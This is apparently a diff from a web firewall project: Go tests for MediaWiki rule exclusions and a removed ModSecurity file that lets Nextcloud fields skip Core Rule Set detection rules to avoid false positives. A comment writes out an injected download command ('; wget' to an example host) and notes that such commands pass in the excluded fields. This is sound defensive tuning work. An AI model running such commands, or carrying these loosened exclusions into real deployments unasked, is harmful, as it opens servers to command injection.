func TestMediaWikiHardValuesPassInTheExcludedFields(t *testing.T) {
t.Parallel()
crs := readingBodies(t)
for _, value := range hardValues {
for _, target := range mediawikiQueryFields {
if got := inspect(t, crs, get(target+value)); got.Score >= mediawikiThreshold {
t.Errorf("%s%s refused: %+v", target, value, got)
}
}
fields := slices.Concat(mediawikiBodyFields, mediawikiWikitextFields,
mediawikiPasswordFields)
for _, sent := range fields {
r := request{http.MethodPost, sent.target, []string{formData}}
got, _ := inspectBody(t, crs, r, sent.field+value)
if got.Score >= mediawikiThreshold {
t.Errorf("POST %s %s%s refused: %+v", sent.target, sent.field, value, got)
}
}
// A reason names the command or file in a sentence, as recorded.
for _, sent := range mediawikiReasonFields {
r := request{http.MethodPost, sent.target, []string{formData}}
body := sent.field + "Spamming%20links%20to%20" + value + "%20guides"
got, _ := inspectBody(t, crs, r, body)
if got.Score >= mediawikiThreshold {
t.Errorf("POST %s %s refused: %+v", sent.target, body, got)
}
}
// A watchlist holds the title on its second line, as recorded.
r := request{http.MethodPost, mediawikiWatchlist.target, []string{formData}}
body := mediawikiWatchlist.field + "Lighthouse%20notes%0D%0A" + value + "%20notes"
if got, _ := inspectBody(t, crs, r, body); got.Score >= mediawikiThreshold {
t.Errorf("POST %s %s refused: %+v", r.target, body, got)
}
}
}
func TestMediaWikiExclusionsAreNarrow(t *testing.T) {
t.Parallel()
crs := atDefaults(t)
for _, refused := range []string{
"/?search=python3",
"/index.php?search=python3",
"/index.php?title=Example&other=python3",
"/other.php?title=python3",
"/api.php?other=python3",
"/rest.php/v1/search/title?other=python3",
"/?q=python3",
"/load.php?other=.htaccess",
"/x/api.php?search=python3",
"/x/index.php/Example?search=python3",
} {
if got := inspect(t, crs, get(refused)); got.Score < mediawikiThreshold {
t.Errorf("%s let through: %+v", refused, got)
}
}
crs = readingBodies(t)
// An uploaded file named .htaccess is still refused off MediaWiki's
// paths.
r := request{
http.MethodPost, "/upload.php",
[]string{"Content-Type: multipart/form-data; boundary=b"},
}
body := "--b\r\nContent-Disposition: form-data; name=\"file\"; " +
"filename=\"Example .htaccess.png\"\r\n\r\nx\r\n--b--\r\n"
got, _ := inspectBody(t, crs, r, body)
if got.Score < mediawikiThreshold {
t.Errorf("POST %s %q let through: %+v", r.target, body, got)
}
for _, target := range []string{
mediawikiAPI, mediawikiUpload,
mediawikiUploadPage, "/w" + mediawikiUploadPage,
} {
r.target = target
if got, _ := inspectBody(t, crs, r, body); got.Score >= mediawikiThreshold {
t.Errorf("POST %s %q refused: %+v", r.target, body, got)
}
}
}
func TestMediaWikiBodyFieldsStayCheckedInTheQuery(t *testing.T) {
t.Parallel()
crs := readingBodies(t)
// The same field name in the query keeps the rules, in the query and
// in the body.
for _, sent := range []struct{ target, field string }{
{mediawikiEdit, "wpTextbox1=python3"},
{mediawikiEdit, "wpSummary=python3"},
{mediawikiSignIn, "wpPassword=python3"},
{mediawikiProtect, "mwProtect-reason=.htaccess"},
{"/index.php?title=Special:EditWatchlist/raw", "wpTitles=python3"},
{mediawikiAPI + "?action=edit", "text=python3"},
} {
r := request{http.MethodPost, sent.target + "&" + sent.field, []string{formData}}
got, _ := inspectBody(t, crs, r, sent.field)
if got.Score < mediawikiThreshold {
t.Errorf("POST %s let through: %+v", r.target, got)
}
}
}
-443
View File
@@ -1,443 +0,0 @@
# The fourteenth change: on Nextcloud's paths, some fields skip the rules that
# refused ordinary Nextcloud requests there. They are the fields where Nextcloud
# sends a search, a name, a file name, a folder, a comment, a note, a status or
# a document's text. Each exclusion runs with the request, before the rules it
# switches off, so this file is loaded before the Core Rule Set's rules. Each
# comment names a request a rule refused. An exclusion on a field of a JSON body
# applies only when the query has no parameter of that name, so it matters only
# while SWW_WAF_BODY_LIMIT is set. Nextcloud's pages are matched at the site
# root and under /index.php/, where a Nextcloud without pretty URLs serves them.
#
# Four rules read a search or a name as a command or a system file:
# 930120: .htaccess
# 932120: powershell
# 932250: ls -la
# 932260: python3
# Each exclusion below removes these four from its fields.
#
# A comment, a share's note and an account's status hold sentences a person
# writes. Four more rules refused ordinary sentences there:
# 932125: It is fixed; diff attached
# 932230: Run python3 or powershell; ls -la shows .htaccess
# 932235: We need more time; find the old notes first
# 932380: Tested on Windows; powershell works
# The text of a document holds such sentences too, and code blocks. Two more
# rules refused a shell script in a code block:
# 932160: #!/bin/bash
# 932370: ```bash, which starts the code block
# These fields skip the rules that refused them. So a shell command such as
# "; wget http://example.com/x.sh" reaches Nextcloud in these fields. SQL
# injection, path traversal and script injection are still refused there.
# The sync client and the Files app use these WebDAV methods besides those
# the first change allows, on /remote.php/dav/ and /public.php/dav/ and on the
# older /remote.php/webdav/ and /public.php/webdav/. 911100 refused each:
# PROPFIND, PROPPATCH: listing a folder, marking a file a favourite
# MKCOL: making a folder, and starting a chunked upload
# COPY, MOVE: copying, moving and renaming, and ending a chunked upload
# REPORT: listing favourites and comments
# SEARCH: the Files app's search
# LOCK, UNLOCK: the desktop client's "Lock file" and "Unlock file"
SecRule REQUEST_FILENAME "@rx ^/(?:remote|public)\.php/(?:dav|webdav)(?:/|$)" \
"id:900100,phase:1,pass,nolog,\
setvar:'tx.allowed_methods=%{tx.allowed_methods} PROPFIND PROPPATCH MKCOL COPY MOVE REPORT SEARCH LOCK UNLOCK'"
# Nextcloud keeps the name of the account signed in in the cookie nc_username,
# which every request sends, on every path. Each request of the account
# python3 was refused.
SecAction "id:900101,phase:1,pass,nolog,\
ctl:ruleRemoveTargetById=930120;REQUEST_COOKIES:nc_username,\
ctl:ruleRemoveTargetById=932120;REQUEST_COOKIES:nc_username,\
ctl:ruleRemoveTargetById=932250;REQUEST_COOKIES:nc_username,\
ctl:ruleRemoveTargetById=932260;REQUEST_COOKIES:nc_username"
# Signing in, in the query or the body:
# user, password: user=python3&password=Example-pass-python3
# redirect_url: /login?redirect_url=/apps/files/%3Fdir%3D/Python3%20notes
SecRule REQUEST_FILENAME "@rx ^/(?:index\.php/)?login$" \
"id:900102,phase:1,pass,nolog,\
ctl:ruleRemoveTargetById=930120;ARGS:/^(?:user|password|redirect_url)$/,\
ctl:ruleRemoveTargetById=932120;ARGS:/^(?:user|password|redirect_url)$/,\
ctl:ruleRemoveTargetById=932250;ARGS:/^(?:user|password|redirect_url)$/,\
ctl:ruleRemoveTargetById=932260;ARGS:/^(?:user|password|redirect_url)$/"
# The password, in the body, skips each rule that random passwords set off.
SecRule REQUEST_FILENAME "@rx ^/(?:index\.php/)?login$" \
"id:900125,phase:1,pass,nolog,chain"
SecRule &ARGS_GET:password "@eq 0" \
"ctl:ruleRemoveTargetById=920270;ARGS:password,\
ctl:ruleRemoveTargetById=920540;ARGS:password,\
ctl:ruleRemoveTargetById=921200;ARGS:password,\
ctl:ruleRemoveTargetById=930100;ARGS:password,\
ctl:ruleRemoveTargetById=930110;ARGS:password,\
ctl:ruleRemoveTargetById=930120;ARGS:password,\
ctl:ruleRemoveTargetById=932125;ARGS:password,\
ctl:ruleRemoveTargetById=932130;ARGS:password,\
ctl:ruleRemoveTargetById=932160;ARGS:password,\
ctl:ruleRemoveTargetById=932230;ARGS:password,\
ctl:ruleRemoveTargetById=932250;ARGS:password,\
ctl:ruleRemoveTargetById=932260;ARGS:password,\
ctl:ruleRemoveTargetById=932270;ARGS:password,\
ctl:ruleRemoveTargetById=932280;ARGS:password,\
ctl:ruleRemoveTargetById=932330;ARGS:password,\
ctl:ruleRemoveTargetById=932340;ARGS:password,\
ctl:ruleRemoveTargetById=932370;ARGS:password,\
ctl:ruleRemoveTargetById=932380;ARGS:password,\
ctl:ruleRemoveTargetById=933100;ARGS:password,\
ctl:ruleRemoveTargetById=933135;ARGS:password,\
ctl:ruleRemoveTargetById=933180;ARGS:password,\
ctl:ruleRemoveTargetById=933210;ARGS:password,\
ctl:ruleRemoveTargetById=941100;ARGS:password,\
ctl:ruleRemoveTargetById=941120;ARGS:password,\
ctl:ruleRemoveTargetById=941160;ARGS:password,\
ctl:ruleRemoveTargetById=941180;ARGS:password,\
ctl:ruleRemoveTargetById=942100;ARGS:password,\
ctl:ruleRemoveTargetById=942151;ARGS:password,\
ctl:ruleRemoveTargetById=942190;ARGS:password,\
ctl:ruleRemoveTargetById=942230;ARGS:password,\
ctl:ruleRemoveTargetById=942290;ARGS:password,\
ctl:ruleRemoveTargetById=942320;ARGS:password,\
ctl:ruleRemoveTargetById=942540;ARGS:password,\
ctl:ruleRemoveTargetById=942550;ARGS:password,\
ctl:ruleRemoveTargetById=944150;ARGS:password"
# The other passwords, in form data or JSON, skip the same rules:
# password: confirming the password, resetting it, checking a sign-in with
# person/check, a public share's password, setting a share's password or
# sending it by email, creating or editing a user, and an administrator
# changing a user's password
# oldpassword, newpassword: changing the password on the settings page
# oldPassword, newPassword: changing an expired LDAP password, and changing
# the password of the encryption app's private key or recovery key
# recoveryPassword: an administrator changing the password of an encrypted
# account, or setting the encryption app's recovery key
# confirmPassword: the encryption app's recovery key, typed again
SecRule REQUEST_FILENAME "@rx ^/(?:index\.php/)?(?:login/confirm|lostpassword/set/[^/]+/[^/]+|settings/(?:personal|users)/changepassword|s/[^/]+/authenticate/[^/]+|apps/user_ldap/renewpassword|apps/encryption/ajax/(?:updatePrivateKeyPassword|changeRecoveryPassword|adminRecovery))$|^/ocs/v[12]\.php/(?:person/check|core/apppassword/confirm|cloud/users(?:/[^/]+)?|apps/files_sharing/api/v1/shares(?:/[^/]+(?:/send-email)?)?)$" \
"id:900126,phase:1,pass,nolog,chain"
SecRule &ARGS_GET:/^(?:json\.)?(?:password|oldpassword|newpassword|recoverypassword|confirmpassword)$/ "@eq 0" \
"ctl:ruleRemoveTargetById=920270;ARGS:/^(?:json\.)?(?:password|oldpassword|newpassword|recoverypassword|confirmpassword)$/,\
ctl:ruleRemoveTargetById=920540;ARGS:/^(?:json\.)?(?:password|oldpassword|newpassword|recoverypassword|confirmpassword)$/,\
ctl:ruleRemoveTargetById=921200;ARGS:/^(?:json\.)?(?:password|oldpassword|newpassword|recoverypassword|confirmpassword)$/,\
ctl:ruleRemoveTargetById=930100;ARGS:/^(?:json\.)?(?:password|oldpassword|newpassword|recoverypassword|confirmpassword)$/,\
ctl:ruleRemoveTargetById=930110;ARGS:/^(?:json\.)?(?:password|oldpassword|newpassword|recoverypassword|confirmpassword)$/,\
ctl:ruleRemoveTargetById=930120;ARGS:/^(?:json\.)?(?:password|oldpassword|newpassword|recoverypassword|confirmpassword)$/,\
ctl:ruleRemoveTargetById=932125;ARGS:/^(?:json\.)?(?:password|oldpassword|newpassword|recoverypassword|confirmpassword)$/,\
ctl:ruleRemoveTargetById=932130;ARGS:/^(?:json\.)?(?:password|oldpassword|newpassword|recoverypassword|confirmpassword)$/,\
ctl:ruleRemoveTargetById=932160;ARGS:/^(?:json\.)?(?:password|oldpassword|newpassword|recoverypassword|confirmpassword)$/,\
ctl:ruleRemoveTargetById=932230;ARGS:/^(?:json\.)?(?:password|oldpassword|newpassword|recoverypassword|confirmpassword)$/,\
ctl:ruleRemoveTargetById=932250;ARGS:/^(?:json\.)?(?:password|oldpassword|newpassword|recoverypassword|confirmpassword)$/,\
ctl:ruleRemoveTargetById=932260;ARGS:/^(?:json\.)?(?:password|oldpassword|newpassword|recoverypassword|confirmpassword)$/,\
ctl:ruleRemoveTargetById=932270;ARGS:/^(?:json\.)?(?:password|oldpassword|newpassword|recoverypassword|confirmpassword)$/,\
ctl:ruleRemoveTargetById=932280;ARGS:/^(?:json\.)?(?:password|oldpassword|newpassword|recoverypassword|confirmpassword)$/,\
ctl:ruleRemoveTargetById=932330;ARGS:/^(?:json\.)?(?:password|oldpassword|newpassword|recoverypassword|confirmpassword)$/,\
ctl:ruleRemoveTargetById=932340;ARGS:/^(?:json\.)?(?:password|oldpassword|newpassword|recoverypassword|confirmpassword)$/,\
ctl:ruleRemoveTargetById=932370;ARGS:/^(?:json\.)?(?:password|oldpassword|newpassword|recoverypassword|confirmpassword)$/,\
ctl:ruleRemoveTargetById=932380;ARGS:/^(?:json\.)?(?:password|oldpassword|newpassword|recoverypassword|confirmpassword)$/,\
ctl:ruleRemoveTargetById=933100;ARGS:/^(?:json\.)?(?:password|oldpassword|newpassword|recoverypassword|confirmpassword)$/,\
ctl:ruleRemoveTargetById=933135;ARGS:/^(?:json\.)?(?:password|oldpassword|newpassword|recoverypassword|confirmpassword)$/,\
ctl:ruleRemoveTargetById=933180;ARGS:/^(?:json\.)?(?:password|oldpassword|newpassword|recoverypassword|confirmpassword)$/,\
ctl:ruleRemoveTargetById=933210;ARGS:/^(?:json\.)?(?:password|oldpassword|newpassword|recoverypassword|confirmpassword)$/,\
ctl:ruleRemoveTargetById=941100;ARGS:/^(?:json\.)?(?:password|oldpassword|newpassword|recoverypassword|confirmpassword)$/,\
ctl:ruleRemoveTargetById=941120;ARGS:/^(?:json\.)?(?:password|oldpassword|newpassword|recoverypassword|confirmpassword)$/,\
ctl:ruleRemoveTargetById=941160;ARGS:/^(?:json\.)?(?:password|oldpassword|newpassword|recoverypassword|confirmpassword)$/,\
ctl:ruleRemoveTargetById=941180;ARGS:/^(?:json\.)?(?:password|oldpassword|newpassword|recoverypassword|confirmpassword)$/,\
ctl:ruleRemoveTargetById=942100;ARGS:/^(?:json\.)?(?:password|oldpassword|newpassword|recoverypassword|confirmpassword)$/,\
ctl:ruleRemoveTargetById=942151;ARGS:/^(?:json\.)?(?:password|oldpassword|newpassword|recoverypassword|confirmpassword)$/,\
ctl:ruleRemoveTargetById=942190;ARGS:/^(?:json\.)?(?:password|oldpassword|newpassword|recoverypassword|confirmpassword)$/,\
ctl:ruleRemoveTargetById=942230;ARGS:/^(?:json\.)?(?:password|oldpassword|newpassword|recoverypassword|confirmpassword)$/,\
ctl:ruleRemoveTargetById=942290;ARGS:/^(?:json\.)?(?:password|oldpassword|newpassword|recoverypassword|confirmpassword)$/,\
ctl:ruleRemoveTargetById=942320;ARGS:/^(?:json\.)?(?:password|oldpassword|newpassword|recoverypassword|confirmpassword)$/,\
ctl:ruleRemoveTargetById=942540;ARGS:/^(?:json\.)?(?:password|oldpassword|newpassword|recoverypassword|confirmpassword)$/,\
ctl:ruleRemoveTargetById=942550;ARGS:/^(?:json\.)?(?:password|oldpassword|newpassword|recoverypassword|confirmpassword)$/,\
ctl:ruleRemoveTargetById=944150;ARGS:/^(?:json\.)?(?:password|oldpassword|newpassword|recoverypassword|confirmpassword)$/"
# Editing a user through the OCS API can name the password as the field to
# change: key=password&value=..., or the same in JSON. This rule is in phase 2,
# because a phase 1 rule runs before the body is read. It checks that the body
# sends key once, so a second key cannot skip these rules for another field.
SecRule REQUEST_FILENAME "@rx ^/ocs/v[12]\.php/cloud/users/[^/]+$" \
"id:900127,phase:2,pass,nolog,chain"
SecRule &ARGS_GET:/^(?:json\.)?(?:key|value)$/ "@eq 0" "chain"
SecRule &ARGS_POST:/^(?:json\.)?key$/ "@eq 1" "chain"
SecRule ARGS_POST:/^(?:json\.)?key$/ "@streq password" \
"ctl:ruleRemoveTargetById=920270;ARGS:/^(?:json\.)?value$/,\
ctl:ruleRemoveTargetById=920540;ARGS:/^(?:json\.)?value$/,\
ctl:ruleRemoveTargetById=921200;ARGS:/^(?:json\.)?value$/,\
ctl:ruleRemoveTargetById=930100;ARGS:/^(?:json\.)?value$/,\
ctl:ruleRemoveTargetById=930110;ARGS:/^(?:json\.)?value$/,\
ctl:ruleRemoveTargetById=930120;ARGS:/^(?:json\.)?value$/,\
ctl:ruleRemoveTargetById=932125;ARGS:/^(?:json\.)?value$/,\
ctl:ruleRemoveTargetById=932130;ARGS:/^(?:json\.)?value$/,\
ctl:ruleRemoveTargetById=932160;ARGS:/^(?:json\.)?value$/,\
ctl:ruleRemoveTargetById=932230;ARGS:/^(?:json\.)?value$/,\
ctl:ruleRemoveTargetById=932250;ARGS:/^(?:json\.)?value$/,\
ctl:ruleRemoveTargetById=932260;ARGS:/^(?:json\.)?value$/,\
ctl:ruleRemoveTargetById=932270;ARGS:/^(?:json\.)?value$/,\
ctl:ruleRemoveTargetById=932280;ARGS:/^(?:json\.)?value$/,\
ctl:ruleRemoveTargetById=932330;ARGS:/^(?:json\.)?value$/,\
ctl:ruleRemoveTargetById=932340;ARGS:/^(?:json\.)?value$/,\
ctl:ruleRemoveTargetById=932370;ARGS:/^(?:json\.)?value$/,\
ctl:ruleRemoveTargetById=932380;ARGS:/^(?:json\.)?value$/,\
ctl:ruleRemoveTargetById=933100;ARGS:/^(?:json\.)?value$/,\
ctl:ruleRemoveTargetById=933135;ARGS:/^(?:json\.)?value$/,\
ctl:ruleRemoveTargetById=933180;ARGS:/^(?:json\.)?value$/,\
ctl:ruleRemoveTargetById=933210;ARGS:/^(?:json\.)?value$/,\
ctl:ruleRemoveTargetById=941100;ARGS:/^(?:json\.)?value$/,\
ctl:ruleRemoveTargetById=941120;ARGS:/^(?:json\.)?value$/,\
ctl:ruleRemoveTargetById=941160;ARGS:/^(?:json\.)?value$/,\
ctl:ruleRemoveTargetById=941180;ARGS:/^(?:json\.)?value$/,\
ctl:ruleRemoveTargetById=942100;ARGS:/^(?:json\.)?value$/,\
ctl:ruleRemoveTargetById=942151;ARGS:/^(?:json\.)?value$/,\
ctl:ruleRemoveTargetById=942190;ARGS:/^(?:json\.)?value$/,\
ctl:ruleRemoveTargetById=942230;ARGS:/^(?:json\.)?value$/,\
ctl:ruleRemoveTargetById=942290;ARGS:/^(?:json\.)?value$/,\
ctl:ruleRemoveTargetById=942320;ARGS:/^(?:json\.)?value$/,\
ctl:ruleRemoveTargetById=942540;ARGS:/^(?:json\.)?value$/,\
ctl:ruleRemoveTargetById=942550;ARGS:/^(?:json\.)?value$/,\
ctl:ruleRemoveTargetById=944150;ARGS:/^(?:json\.)?value$/"
# The folder the Files app shows: /apps/files/?dir=/Powershell%20modules.
SecRule REQUEST_FILENAME "@rx ^/(?:index\.php/)?apps/files/" \
"id:900103,phase:1,pass,nolog,\
ctl:ruleRemoveTargetById=930120;ARGS:dir,\
ctl:ruleRemoveTargetById=932120;ARGS:dir,\
ctl:ruleRemoveTargetById=932250;ARGS:dir,\
ctl:ruleRemoveTargetById=932260;ARGS:dir"
# The file names on a public share's page. A preview names its file in file:
# /apps/files_sharing/publicpreview/<token>?file=/powershell+profile.ps1
SecRule REQUEST_FILENAME "@rx ^/(?:index\.php/)?apps/files_sharing/publicpreview/" \
"id:900104,phase:1,pass,nolog,\
ctl:ruleRemoveTargetById=930120;ARGS:file,\
ctl:ruleRemoveTargetById=932120;ARGS:file,\
ctl:ruleRemoveTargetById=932250;ARGS:file,\
ctl:ruleRemoveTargetById=932260;ARGS:file"
# A download names its folder in path and its files in files:
# /s/<token>/download?path=/&files=powershell%20profile.ps1
SecRule REQUEST_FILENAME "@rx ^/(?:index\.php/)?s/[^/]+/download$" \
"id:900105,phase:1,pass,nolog,\
ctl:ruleRemoveTargetById=930120;ARGS:/^(?:path|files)$/,\
ctl:ruleRemoveTargetById=932120;ARGS:/^(?:path|files)$/,\
ctl:ruleRemoveTargetById=932250;ARGS:/^(?:path|files)$/,\
ctl:ruleRemoveTargetById=932260;ARGS:/^(?:path|files)$/"
# The OCS API's searches and names, in the query, a form data body or a JSON
# body:
# search: /ocs/v2.php/cloud/users/details?search=python3, and the same on
# cloud/users, cloud/groups, cloud/groups/details and the sharees
# term, from: /ocs/v2.php/search/providers/files/search?term=python3
# groupid, userid, displayName: adding the group "Python3 admins" and the
# account python3, displayName=Ls+-la+Example
# groups[], or groups in JSON: the groups of a new account,
# groups[]=Python3+admins
# value: changing an account's name, address or headline, value=Powershell+Lane
# path, label, shareWith: sharing the folder "/ls -la output" with the
# label "python3 link"
SecRule REQUEST_FILENAME "@rx ^/ocs/v[12]\.php/" \
"id:900106,phase:1,pass,nolog,\
ctl:ruleRemoveTargetById=930120;ARGS:/^(?:search|term|from|groupid|userid|displayname|value|path|label|sharewith|groups\[\])$/,\
ctl:ruleRemoveTargetById=932120;ARGS:/^(?:search|term|from|groupid|userid|displayname|value|path|label|sharewith|groups\[\])$/,\
ctl:ruleRemoveTargetById=932250;ARGS:/^(?:search|term|from|groupid|userid|displayname|value|path|label|sharewith|groups\[\])$/,\
ctl:ruleRemoveTargetById=932260;ARGS:/^(?:search|term|from|groupid|userid|displayname|value|path|label|sharewith|groups\[\])$/"
SecRule REQUEST_FILENAME "@rx ^/ocs/v[12]\.php/" \
"id:900107,phase:1,pass,nolog,chain"
SecRule &ARGS_GET:/^json\.(?:search|term|from|groupid|userid|displayname|value|path|label|sharewith|groups\.[0-9]+)$/ "@eq 0" \
"ctl:ruleRemoveTargetById=930120;ARGS:/^json\.(?:search|term|from|groupid|userid|displayname|value|path|label|sharewith|groups\.[0-9]+)$/,\
ctl:ruleRemoveTargetById=932120;ARGS:/^json\.(?:search|term|from|groupid|userid|displayname|value|path|label|sharewith|groups\.[0-9]+)$/,\
ctl:ruleRemoveTargetById=932250;ARGS:/^json\.(?:search|term|from|groupid|userid|displayname|value|path|label|sharewith|groups\.[0-9]+)$/,\
ctl:ruleRemoveTargetById=932260;ARGS:/^json\.(?:search|term|from|groupid|userid|displayname|value|path|label|sharewith|groups\.[0-9]+)$/"
# A share's note, in the query, a form data body or a JSON body, on a new
# share or a changed one: {"note":"It is fixed; diff attached"}.
SecRule REQUEST_FILENAME "@rx ^/ocs/v[12]\.php/apps/files_sharing/api/v1/shares(?:/[^/]+)?$" \
"id:900108,phase:1,pass,nolog,\
ctl:ruleRemoveTargetById=930120;ARGS:note,\
ctl:ruleRemoveTargetById=932120;ARGS:note,\
ctl:ruleRemoveTargetById=932125;ARGS:note,\
ctl:ruleRemoveTargetById=932230;ARGS:note,\
ctl:ruleRemoveTargetById=932235;ARGS:note,\
ctl:ruleRemoveTargetById=932250;ARGS:note,\
ctl:ruleRemoveTargetById=932260;ARGS:note,\
ctl:ruleRemoveTargetById=932380;ARGS:note"
SecRule REQUEST_FILENAME "@rx ^/ocs/v[12]\.php/apps/files_sharing/api/v1/shares(?:/[^/]+)?$" \
"id:900109,phase:1,pass,nolog,chain"
SecRule &ARGS_GET:json.note "@eq 0" \
"ctl:ruleRemoveTargetById=930120;ARGS:json.note,\
ctl:ruleRemoveTargetById=932120;ARGS:json.note,\
ctl:ruleRemoveTargetById=932125;ARGS:json.note,\
ctl:ruleRemoveTargetById=932230;ARGS:json.note,\
ctl:ruleRemoveTargetById=932235;ARGS:json.note,\
ctl:ruleRemoveTargetById=932250;ARGS:json.note,\
ctl:ruleRemoveTargetById=932260;ARGS:json.note,\
ctl:ruleRemoveTargetById=932380;ARGS:json.note"
# An account's status, in the query, a form data body or a JSON body:
# {"message":"Tested on Windows; powershell works"}.
SecRule REQUEST_FILENAME "@rx ^/ocs/v[12]\.php/apps/user_status/api/v1/user_status/message/custom$" \
"id:900110,phase:1,pass,nolog,\
ctl:ruleRemoveTargetById=930120;ARGS:message,\
ctl:ruleRemoveTargetById=932120;ARGS:message,\
ctl:ruleRemoveTargetById=932125;ARGS:message,\
ctl:ruleRemoveTargetById=932230;ARGS:message,\
ctl:ruleRemoveTargetById=932235;ARGS:message,\
ctl:ruleRemoveTargetById=932250;ARGS:message,\
ctl:ruleRemoveTargetById=932260;ARGS:message,\
ctl:ruleRemoveTargetById=932380;ARGS:message"
SecRule REQUEST_FILENAME "@rx ^/ocs/v[12]\.php/apps/user_status/api/v1/user_status/message/custom$" \
"id:900111,phase:1,pass,nolog,chain"
SecRule &ARGS_GET:json.message "@eq 0" \
"ctl:ruleRemoveTargetById=930120;ARGS:json.message,\
ctl:ruleRemoveTargetById=932120;ARGS:json.message,\
ctl:ruleRemoveTargetById=932125;ARGS:json.message,\
ctl:ruleRemoveTargetById=932230;ARGS:json.message,\
ctl:ruleRemoveTargetById=932235;ARGS:json.message,\
ctl:ruleRemoveTargetById=932250;ARGS:json.message,\
ctl:ruleRemoveTargetById=932260;ARGS:json.message,\
ctl:ruleRemoveTargetById=932380;ARGS:json.message"
# The name and slogan in the theming admin settings, in the JSON field value:
# {"setting":"slogan","value":"ls -la and .htaccess"}.
SecRule REQUEST_FILENAME "@rx ^/(?:index\.php/)?apps/theming/ajax/updateStylesheet$" \
"id:900112,phase:1,pass,nolog,chain"
SecRule &ARGS_GET:json.value "@eq 0" \
"ctl:ruleRemoveTargetById=930120;ARGS:json.value,\
ctl:ruleRemoveTargetById=932120;ARGS:json.value,\
ctl:ruleRemoveTargetById=932250;ARGS:json.value,\
ctl:ruleRemoveTargetById=932260;ARGS:json.value"
# The Text editor saves a document, such as a folder's Readme.md, with its
# path in the JSON field filePath and its text in autosaveContent. The text
# skips the rules for sentences and code blocks too.
SecRule REQUEST_FILENAME "@rx ^/(?:index\.php/)?apps/text/session/[0-9]+/save$" \
"id:900113,phase:1,pass,nolog,chain"
SecRule &ARGS_GET:/^json\.(?:filepath|autosavecontent)$/ "@eq 0" \
"ctl:ruleRemoveTargetById=930120;ARGS:/^json\.(?:filepath|autosavecontent)$/,\
ctl:ruleRemoveTargetById=932120;ARGS:/^json\.(?:filepath|autosavecontent)$/,\
ctl:ruleRemoveTargetById=932250;ARGS:/^json\.(?:filepath|autosavecontent)$/,\
ctl:ruleRemoveTargetById=932260;ARGS:/^json\.(?:filepath|autosavecontent)$/,\
ctl:ruleRemoveTargetById=932125;ARGS:json.autosavecontent,\
ctl:ruleRemoveTargetById=932160;ARGS:json.autosavecontent,\
ctl:ruleRemoveTargetById=932230;ARGS:json.autosavecontent,\
ctl:ruleRemoveTargetById=932235;ARGS:json.autosavecontent,\
ctl:ruleRemoveTargetById=932370;ARGS:json.autosavecontent,\
ctl:ruleRemoveTargetById=932380;ARGS:json.autosavecontent"
# A comment on a file, in the JSON field message of a new comment, and in the
# XML body of an edited one. It skips the rules for sentences too. An edited
# comment's XML holds nothing else a person writes.
SecRule REQUEST_FILENAME "@rx ^/remote\.php/dav/comments/files/[0-9]+$" \
"id:900114,phase:1,pass,nolog,chain"
SecRule &ARGS_GET:json.message "@eq 0" \
"ctl:ruleRemoveTargetById=930120;ARGS:json.message,\
ctl:ruleRemoveTargetById=932120;ARGS:json.message,\
ctl:ruleRemoveTargetById=932125;ARGS:json.message,\
ctl:ruleRemoveTargetById=932230;ARGS:json.message,\
ctl:ruleRemoveTargetById=932235;ARGS:json.message,\
ctl:ruleRemoveTargetById=932250;ARGS:json.message,\
ctl:ruleRemoveTargetById=932260;ARGS:json.message,\
ctl:ruleRemoveTargetById=932380;ARGS:json.message"
SecRule REQUEST_FILENAME "@rx ^/remote\.php/dav/comments/files/[0-9]+/[0-9]+$" \
"id:900115,phase:1,pass,nolog,chain"
SecRule REQUEST_METHOD "@streq PROPPATCH" \
"ctl:ruleRemoveTargetById=930120;XML:/*,\
ctl:ruleRemoveTargetById=932120;XML:/*,\
ctl:ruleRemoveTargetById=932125;XML:/*,\
ctl:ruleRemoveTargetById=932230;XML:/*,\
ctl:ruleRemoveTargetById=932235;XML:/*,\
ctl:ruleRemoveTargetById=932250;XML:/*,\
ctl:ruleRemoveTargetById=932260;XML:/*,\
ctl:ruleRemoveTargetById=932380;XML:/*"
# The Files app's search sends its words in the XML body of a SEARCH request,
# <d:literal>%python3%</d:literal>, which holds nothing else a person writes.
SecRule REQUEST_FILENAME "@rx ^/remote\.php/dav/?$" \
"id:900116,phase:1,pass,nolog,chain"
SecRule REQUEST_METHOD "@streq SEARCH" \
"ctl:ruleRemoveTargetById=930120;XML:/*,\
ctl:ruleRemoveTargetById=932120;XML:/*,\
ctl:ruleRemoveTargetById=932250;XML:/*,\
ctl:ruleRemoveTargetById=932260;XML:/*"
# The name of a new tag, in the JSON field name: {"name": "python3"}.
SecRule REQUEST_FILENAME "@rx ^/remote\.php/dav/systemtags/?$" \
"id:900117,phase:1,pass,nolog,chain"
SecRule &ARGS_GET:json.name "@eq 0" \
"ctl:ruleRemoveTargetById=930120;ARGS:json.name,\
ctl:ruleRemoveTargetById=932120;ARGS:json.name,\
ctl:ruleRemoveTargetById=932250;ARGS:json.name,\
ctl:ruleRemoveTargetById=932260;ARGS:json.name"
# A file the Files app or the sync client uploads with PUT to the WebDAV
# paths is a file, not form data. Read as fields, a JSON file holding
# "python3 -m pytest" was refused (932260), and an XML file holding
# "ls -la /var/log" too (930120, 932250). The body of such a PUT is marked
# RAW, a kind of body sww does not read. Its headers, path and query are
# still checked.
SecRule REQUEST_FILENAME "@rx ^/(?:remote|public)\.php/(?:dav|webdav)(?:/|$)" \
"id:900118,phase:1,pass,nolog,chain"
SecRule REQUEST_METHOD "@streq PUT" "ctl:requestBodyProcessor=RAW"
# The Calendar and Contacts apps, and the CalDAV and CardDAV clients of phones
# and desktops, keep calendars under /remote.php/dav/calendars/ and address
# books under /remote.php/dav/addressbooks/. A CalDAV client makes a calendar
# with MKCALENDAR, which 911100 refused.
SecRule REQUEST_FILENAME "@rx ^/remote\.php/dav/calendars/" \
"id:900119,phase:1,pass,nolog,\
setvar:'tx.allowed_methods=%{tx.allowed_methods} MKCALENDAR'"
# Such a client first asks where the calendars and address books are, with a
# PROPFIND on /.well-known/caldav or /.well-known/carddav. Nextcloud answers
# with a redirect to /remote.php/dav/. 911100 refused the PROPFIND.
SecRule REQUEST_FILENAME "@rx ^/\.well-known/(?:caldav|carddav)$" \
"id:900120,phase:1,pass,nolog,\
setvar:'tx.allowed_methods=%{tx.allowed_methods} PROPFIND'"
# A new calendar or address book has its name in the XML body of an MKCOL,
# <d:displayname>Python3 and powershell</d:displayname>. An address book's
# MKCOL may also hold its description (900124).
SecRule REQUEST_FILENAME "@rx ^/remote\.php/dav/(?:calendars|addressbooks)/" \
"id:900121,phase:1,pass,nolog,chain"
SecRule REQUEST_METHOD "@streq MKCOL" \
